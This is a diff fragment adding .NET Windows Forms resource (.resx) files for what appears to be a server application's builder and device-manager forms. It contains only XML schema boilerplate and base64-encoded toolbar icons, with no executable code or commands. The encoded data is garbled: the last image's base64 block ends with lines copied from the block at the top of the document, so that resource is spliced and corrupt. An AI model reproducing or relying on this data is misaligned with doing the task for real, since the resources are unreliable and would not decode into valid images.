+0uSEBqzRZf48rEepZThvPAEslAWbcqy/JnH51VwRsa6HMNUafd2F6U0So9f3FGub8zS5HT14WKw0
+Xy3DeUt4g16SBXvk9ChN0nkfxNvuoxJfd4Ic897XLlsdDev4N2ibWobzFv86HZcFKz5v0iTN2P+A
+4JWYwc/dYARlVo/Q5C5qjJf6csHH1DKcNx5G52XBVnw9VZPUsvMeg4+nQC773CsvTpX6sfZ/q2U4
+b3zhS99PrW3WrqzMr/kafDyFabevJnfZNzlSPx5xTWoZzhvfz67JgmE1ZZ80YX83g4+nQC773JW8
+hpf5QbtahvPGj2rNsmB4nLNPaqlz8b1UB0i29tTkrmjJk/qZ6uiqWobzllBDX8uCrW7SPtNOPtrf
+4OMpJh/10+TG87XML+EAXVTLcN7i/kRfyII9cTZVkzSrYZDBx1NkNwzW5C7+LEXqx2v1s2oZzhuv
+iaUv6gobJmiSzv14tMHHU8w9M0aTu/D4eKlf5HZ6Wy3DeRvzS3pFFiyjOkCTdNXlDIOPp1jVlKHJ
+PaXaX+o39gV6WS3DeQtaRctlwWK29jLM1JnHBxj83M20hgGanHhrAi0y35HLaKlahvPmF0pRsl0F
+PP7NP2XWJF9yIUnj4wmWXkjW5Hz8Q5OI3mn0wy2pbyBFqmW4ZIOiX6b39AFNNSSStv1IkxzknPTc
+5DXjpHayAolbByoPFXrf6B10grUPtJXgmnUftYxe0AcEERtIlOhm6/LmbJH+t94G346CmPpn4eJP
+U5R3ZTL/kUtpE7TbSnDRfAdRKvfoJX3Q2N3Mi/coO4H2QpY3pbu8e3ArEAsx7XNg/ojdfLeIfc3o
+j7WD70BKVuW3y/zDfy6frfEeOe9QmEYMWNE0yS09nfZXX8NLQjCjLlSwJmmb8KdpJ2vu0Ptpn77D
+qEDWy7wwESFlXqLotMUgas3V6SLLxY1ve7CLUSbZgJv/kVnJidz6Nujd3kMpnzV3+K8SQUGraYs+
+AVDeQlZ2F4u/MPYEKPnKLKYc8zO0c8TUv/uJkv9q7wA3Y30+UTxU4SPG/07eNnAFvchaA22SO2Y9
+unWjaTG76ANDIitPYM/aii46kyQVClZeniTmfPqQmH7ifl4P91OuTYDvGAn4beXlydK2YCGPIuSI
+eM6WU68jehe9z/2ayVrbN1lJbNhdI2me6QBd0CfD246wp7GV4iXy/xyh7CfJRLcHTIr5R8KV2Nil
+kG22YSj3D6bHWWOATap7DK89Tf4PU6W5jlr0SVF0OPc0dhwSttwnljRqZ9b2sORcuoj71QDbdg3H
+lr1G4hPQ4p9PFdCmqHSzYeM548Fi2shF478WWgE81MZtUTfOSkmk/HGoWMTDXH/ruhXwxaWRsn2I
+EgOM+40ttj4fVoEPLKIN0MT8AAI9YT9kcoYvoGdwdvUiQOwe23YKCgfj1vdWtmDmnIgWi8+liTVX
+cpR1MMB3HJv9TrSYsme4GMu+re0QI26vMT7gE/7dg0/Q86wlm7kPwjxpQ5kZAY/QU3y7apIJAjzJ
+KRtq6KXWItoCvrg00FYWE+AWGVBAVdDADIGgzrDBTPbdEbSQV12nZMJaSTjADxzbbbsHmNxCKjDB
+2cB3HMNv8IGvLEYrMa/SKc65gHPnMDjxnWr3M5ne3pSHNfeteruj8EPCldBK2ubdnWYiJ4NL67aY
+L2Nhcu8aQXNHb6C9plrHf41wFcQK55h9htOjyMEkqjlvq+GW5c/gzOf6DqXCoFL6NYafdDZvA7Th
+th8ihu9gKkRMZhozgnF9V9CD1pMJZaYzEJmLnuHZdMOYzVTNz6nvxO+jRgx9zLIA33Esin+DD24z
+fYbRnNb2aixscCP2HWv4H+RPGAw/zKSt4p0FbdAWMdy2VOwsQ89gNg1j4pk0BkMfsyzAdxzDn1Hg
+g9vMHd2bXdZlXXY7jeh/pCvNqyO4kzUAAAAASUVORK5CYIIL</value></data><data name="toolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAGQMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAACu0lEQVRoQ+2Zu27UQBSGV9wKSi4Vl5dARKRKhyLZaMaFFQQ9r5CIZrssfYiSFW+wkcdS
+QmgoeAYieAAuFSTUQAP/MSfN5Azx8W3Xkj/pl7y7x2f+mfFcPDsaGBioTzpLL8bOLke5eR7nJouc
+/YjPP3D9uxCu8d2H4jfEPMqSB+Px+ALfPj9Mbu7A3Avoa5zbPzqZL6jMZDVLbnO67lidpTdhYgoD
+v84a04lyQDvxfnyD07cLWu4JdCKZqSNU4jjKksdcTPPcmz67jOf4lVR4k0IZu1QWF9sM6N6raKE3
+UoGtyNlDKpOLr0fR8l2aP5WzbzG7XWEb1enisQmJBjfbqAYG1VMpcbcya2xHh3X2Olr/u5y0S2HG
+qzLF4ubp2WTzERpym22Vg1ZHPH+1FikfKaasCi/78V22dz7F9kBIpJGPFKMRKjFhe/+HNlm0T5GS
+aOQjxaiE/RZtGtlmGAQuiwmU8pFitMJYWGKbYdBV2BLLCTTykWLUcnaDbYZBkBNvVspHilHL2T22
+GQbdhBcP4WalfKQYtZw9YpthNFvlppByS6KFlW2G0cz/TSHlFuXsT7YZpvcV6P8j1PtB3PtpdIEX
+MnhbZ5th6NBJulkrHylGrSy5zzbD0GYO4+CzmEAhHylGI3j6VPo0D101kZJo5CPF6GQ22d75LNoL
+Dc3/0UF0i+2VAxXYEZPNRWaLbZXn4Sy9RguHnLA7oSGPK5+b0lmllLRLRS5J2U410Au7UuIuhNZ/
+yTaqQ++hqEQuFdCuzOuVdyuX2EY96KAVM8GhXFDzQssfNHa4ewof8rY+M9Fj01jLS6Br19qZncy3
+2gO2LHxuuk0LjGxGoSKH2aJpm9N3B62O6PIJKqPeO/27x2yqV9g24A3gElpzA9qDjmDuBJWjP/Cw
+JcG1s+/pN3xep13lQvzNOjDQe0ajv6Nga8ejNSOjAAAAAElFTkSuQmCCCw==</value></data><data name="killToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAAgMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAACpElEQVRoQ+2Zy27TQBSGI2DDjsuKyzuwSM7EQpWCxhbsEUU8CYWyYAN0C4KKd6CAUHkS
+EC9QYAGES6lt0bIx57cOC8IZsOOJx5H8Sb8apZ5zfo89t5NBT09Pc4rbg0N5YqLMmnXWsyw2b7KY
+vqax+Qnhc/mdpaf892Z+YTxGG2kejnxizqbWbKQxvWdjRR1xm3eppXu5jc5IuPb4HtNJ7tnHbP5A
+M1dHHGOfn9rm7sXohIRfLKkdX+OEnzUzDTVNE7oqafxTTCZH0OtKYs+iR8glaf1QRNFRftQv9YT+
+xR21jZySvhnF6uphDvhcS7RIocO8PIl2XhuX6KHYmI9ywKqB29OeNVfETj0wrXGA6WzA1sUzHqZt
+sVWdsK/OrGq+SrLCNl6kfAmLXa0VmxtsaIFCirced8Xev8Emi2/grRYkpLDfwpQuNt2Uu0olQBeU
+26ERm254y3tLa9wJWVoTm25CrLrVRVti0w1fyIcRrfGf8o2W4y9Zei023fBFX9TGM/KNlkPRVGy6
+qTr/+0bLMSusB2LTzdLfwNK/QnzRsg/isiyiBwivJ2LTDd/AutKwG7Lmuth0g6KT2rgDyhMaiU03
+nd3MWbNTuZqHipkWJKR4i3NH7P0fOdDsa4FCCF7y5PxpsVcNHjCbWrAgsuaB2KpOeai35pMasE1Z
++ri7snJcbNUDtUo1aIvaS0aXxc58oFapBW5HdF9szA/Oofwqtb4688D1U1oEZXE3NttaokWIp/EX
+3oq7v0FvoMCkJfQqnnEqVR/mBbVKzAxq8kaiD40HbFUwreFp+Fjs0ph+oNe/Tc4dk/DtgdURFTO+
+kdp7J26zg+1Bdml4SsKFo/yZ1Q5NltANfjJbOHjgZMcmDyB85u9fyf/W8nhEnfiZtadn6RkMfgGd
+1f556D5QXQAAAABJRU5ErkJgggs=</value></data></root>

Server.Forms.FormBulider.resx

@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="imageList1.ImageStream" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAu
+MC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAA
+ACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkD
+AAAADwMAAAD4DwAAAk1TRnQBSQFMAgEBBAEAAagBAAGoAQABIAEAASABAAT/AQkBEAj/AUIBTQE2
+AQQGAAE2AQQCAAEoAwABgAMAAUADAAEBAQABCAYAASAYAAGAAgABgAMAAoABAAGAAwABgAEAAYAB
+AAKAAgADwAEAAcAB3AHAAQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEA
+AykBAANVAQADTQEAA0IBAAM5AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8B
+AAHWAucBAAGQAakBrQIAAf8BMwMAAWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHM
+AgABMwH/AgABZgMAAWYBMwIAAmYCAAFmAZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgAC
+mQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHMAWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZ
+AgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEAATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8B
+MwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEzAWYCAAEzAWYBMwEAATMCZgEAATMBZgGZ
+AQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZAWYBAAEzApkBAAEzAZkBzAEAATMB
+mQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLMAQABMwHMAf8BAAEzAf8BMwEA
+ATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEAAWYBAAFmAQABZgEAAZkB
+AAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEAAWYBMwHMAQABZgEz
+Af8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZAWYBAAFmApkB
+AAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/AQABZgH/
+AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEAAZkB
+AAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm
+ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwB
+AAKZAf8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIA
+AZkB/wEzAQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYB
+AAHMAQABmQEAAcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEz
+Af8BAAHMAWYCAAHMAWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwB
+mQEzAQABzAGZAWYBAAHMApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEA
+A8wBAALMAf8BAAHMAf8CAAHMAf8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwB
+AAEzAQAB/wEAAWYBAAH/AQABmQEAAcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEA
+Af8BMwH/AQAB/wFmAgAB/wFmATMBAAHMAmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkC
+AAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZAcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHM
+AWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEzAQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8B
+AAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFmAQABIQEAAaUBAANfAQADdwEAA4YBAAOW
+AQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHwAfsB/wEAAaQCoAEAA4ADAAH/AgAB
+/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD//8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A
+XQABDwcAAfMQAAj/AQAB6wMAAf8BAAf/HgAB9wEAAfI4AAHvEAABkgYAAQ4BAAHrAwAB/wHxJAAB
+kgMAAfIHAAH/Ae0V7AG8GAABEhAAAf8G8gHzAQAB6wMAAv8G8gHzHAABkgUAAfIGAAETFwAB/zEA
+AfMB6gEAAQckAAGSBwAB8gUAAUMXAAH0BwABBwH/BQAB8g8AAvQSAAHvJQABkggAAQ4FAAFDAwAR
+/wHwAgAB9AYAAe8CAAEOAfIBAAH/DAABbQIAAfc6AAGSCQABvAUAAUMUAAHwAgAB9CAAAesEAAH/
+Ae8Z9wHxFQABkgkAAbwGAAFDFAAB8AIAAfQFAAESGwAB/wMAAUMbAAH0EwABkgkAAbwHAAFDFAAB
+8AIAAfQEAAH/HAABEAMAAQ4bAAHyEgABkgkAAbwIAAFDCgAC9AH/BwAB8AIAAfQEAAEOHQAB9AIA
+AQ4OAAUOAQABBwFtAQAB8QEPAgAB8hEAAZIJAAG8CQABQwkAAf8CAAHsBwAB8AIAAfQDAAH0DAAB
+EQH/AgAB/wHsDwABDg4AAewDvAEHAQAB/wHwAgABbQIAAfIQAAGSCQABvAoAAUMGAAP/Ae0CAAEQ
+AfIBAAH0BAAB8AIAAfQEAAEOCgAB8AYAAf8LAAESAgABDhsAAfIPAAGSCQABvAsAAUMGAAERAg4F
+AAEVAQAB8wMAAfACAAH0BQABbQgAAfcIAAH/CQAB8wMAAQ4bAAHzBwAB/wEHARECAAEOAW0B7QkA
+AbwMAAFDBQAB8QQAAQ4BEAQAAQ4DAAHwAgAB9AYAAbwRAAEUBgABEQUAAfEaDgEUBwAB7xAAAbwN
+AAFDBQAB/wGSAgAB6gIAAfQDAAH0AwAB8AIAAfQNAAESCgAB8y4AARIQAAG8DgABQwYAAfECAAH0
+AwABEAYAAfACAAH0DQAB9xcAAf8B7BltAbwFAAHrEAABvA8AAUMGAAHyAgAB8AUAAQ4EAAHwAgAB
+9A0AAewKAAH/DAABEBsAAfQDAAHzEAABvBAAAUMFAAHwBAAB8AH0AeoDAAFDAwAB8AIAAfQGAAH/
+EQABkgYAAfMFAAEOGwAB8gMAARAPAAHvEQABQwUAAf8KAAHsAwAB8AIAAfQFAAHyCAAB9BEAAZIE
+AAEODgABDwMUAUMBAAHwAewBAAHzARECAAHyAgAB/wYAAQ4JAAHqEQABQwYAAe8BvAHvBAABEAH0
+ARQB/wMAAfACAAH0BAABbQoAAf8HAAERCQABQwMAAQ4OAAFtA+8B9wEAAfQBBwEAAf8B6gIAAfIC
+AAHyBQABBwH/AQ4IAAEOEQABQwkAAf8CAAHsBwAB8AIAAfQDAAEHDAAB8gQAAf8BDgsAARMCAAEO
+GwAB8gIAAe8EAAEHAgAB/wEOGQABQwkAAf8BEQFDAfcCAAFDBwAB9BIAAQ4BDw4AAf8CAAEOGwAB
+8wIAAQcDAAG8BAAB/wEOGAABQw8AAUMHAAH/BAABBxwAAUMDAAHzGg4BbQMAAfMCAAG8BgAB/wYA
+ARURAAFDDwABQwYAAfQiAAH/JAAB8AcAAe8GAAG8EQABQw8AAUMFAAH0BwAB8xoAAewEAAH/Gm0B
+7wQAAfQHAAHvGQABQw8AAUMEAAH0CQABDgMAARQB/wESDAABDwH/AewJAAEPGwAB8woAAe8HAAHw
+EgABQwIADewBDgMAAfQKAAH/AQAB7wQAAfQBDgkAAfQEAAHxAQAB8QUAAQ4bAAHyCQAB7wcAAewT
+AAFDEgAB9BMAAfEIAAH3DQABDg4AAUMEbQEAAfIBkgEAAfQBFQIAAfIIAAHvBwAB7xQAAQcRAAH0
+FAAB/wgAAfINAAEODgABFATrAQAB9AHvAQAB/wETAgAB8gcAAfQBDgUAAW0B/xYAEf8eAAH/DQAB
+DhsAAfIJAAH/AvQB/1YAAQ8bAAHzTQAB7AYAARAOAAHzAQ4ZAAHrAgABQgFNAT4HAAE+AwABKAMA
+AYADAAFAAwABAQEAAQEGAAEEFgAD//8A/wADAAn/AfABBwH/AfgBBAEQAR8D/wGPBf8B8AEHAf8B
++AEEAQABHwP/AQcB8AIAAQ8B/wHwAQcB/wH4AQQBAAEfAv8B/gEDAfACAAEHAf8B8AEHAv8B/AE/
+A/8B/AEBAfACAAEHAfMB4AEHAecB/wH+AX8D/wH4AQEB8QIAAQcB4AGAAQEBhwb/AfABAQHxAv8B
+hwHgAgABAwHAAgABAwL/AeABAwHxAv8BhwHAAgABAQHAAgABAQL/AcABBwHxAv8BhwGAAgABAQHA
+AgABAQL/AYABDwHxAf4BPwGHAYADAAHAAgABAQL/AQABHwHxAfwBPwGHAQABAQGAAQABwAIAASEB
+/wH+AQABPwHxAeABFwGHAYABBwHgAQABwAIAAQEB/wH8AQABfwHxAeABAwGHAcABDwHwAQEBwAIA
+AQEB/AIAAf8B8QHAAQMBhwHgAR8B+AEHAcACAAEDAfgBAAEBAf8B8QHBAYMBhwHwAR8B+AEPBP8B
+8AEAAQMB/wHxAeEBxwGHAfABHwH8AQ8BwAIAAQMB4AEAAQcB/wHxAeEBxwGHAfABHwH4AQ8BwAIA
+AQEBwAEAAQ8B/wHxAcABAwGHAeABHwH4AQcBwAIAAQEBwAEAAR8B/wHxAcABAwGHAcABDwH4AQMB
+wAIAAQEBgAEAAR8B/wHxAeABAwGHAYABBwHwAQEBwAIAAQEBgAEAAR8B/wHxAfwBPwGHAQABAwHA
+AQABwAIAAQEBgQGAAR8B/wHxAfwBMAEHAYADAAHAAgABAQGDAcABHwH/AfEB/wHwAQcBgAIAAQEB
+wAIAAQMBhwHgAR8B/wHxAf8B8AEPAcACAAEBBP8BzwHgAR8B/wHxAf8B8AEfAcACAAEDAcACAAED
+Ad8BwAE/Af8B8QH/AfABPwHgAgABBwHAAgABAQH/AYABPwH/AfACAAF/AeMBwAEDAccBwAIAAQEB
+/wEAAX8B/wHwAgAC/wHgAQcB/wHAAgABAQH+AQAC/wHwAQABAQL/AeABBwH/AcACAAEBAfwBAQL/
+AfgBAAEDAv8B8AEHAf8BwAIAAQEB/wEPB/8B8AEPAf8BwAIAAQEJ/wHwAQ8B/wHAAgABAxYACw==</value></data></root>

Server.Forms.FormDeviceManager.resx

@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="startToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAhwEAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsRAAALEQF/
+ZF+RAAABKUlEQVRoQ+2YQWoCQRBF6yDJ2psk5DLiZpyBHEM8hBLwEOo2Iu02yVrRkIyrWbVVLSPT
+0A0Nqcg0/A8PZ9FU/d/tpoogCIIgKH+9mkeqdm9UmZp/bb9hj6VZULEddMybU/hwr/l23vmDbz54
+IAPMnAP849+meLc0WlsarnSQWlKzrV+aX3kBv6kW3OhlurFfh7NtmkaFT671PNn4IbymmvBtScOQ
+kb/wsa+vL9H28ZpqMlwGDWggtW99vKaaIEAcBEgCAeIgQBIIEAcBkkCAOAiQBALEQYAkECDOfQJk
+P1Ly4C0DuGYIMf804YHeH+rvsVbhJ9dAanXNV7sfcmu6btOsMDNyO0ZZ0wUP9JjSHGm8fejuR+du
+0xU63CecR775m3kIgiAIylZEF7rj1K33dFWtAAAAAElFTkSuQmCCCw==</value></data><data name="refreshToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
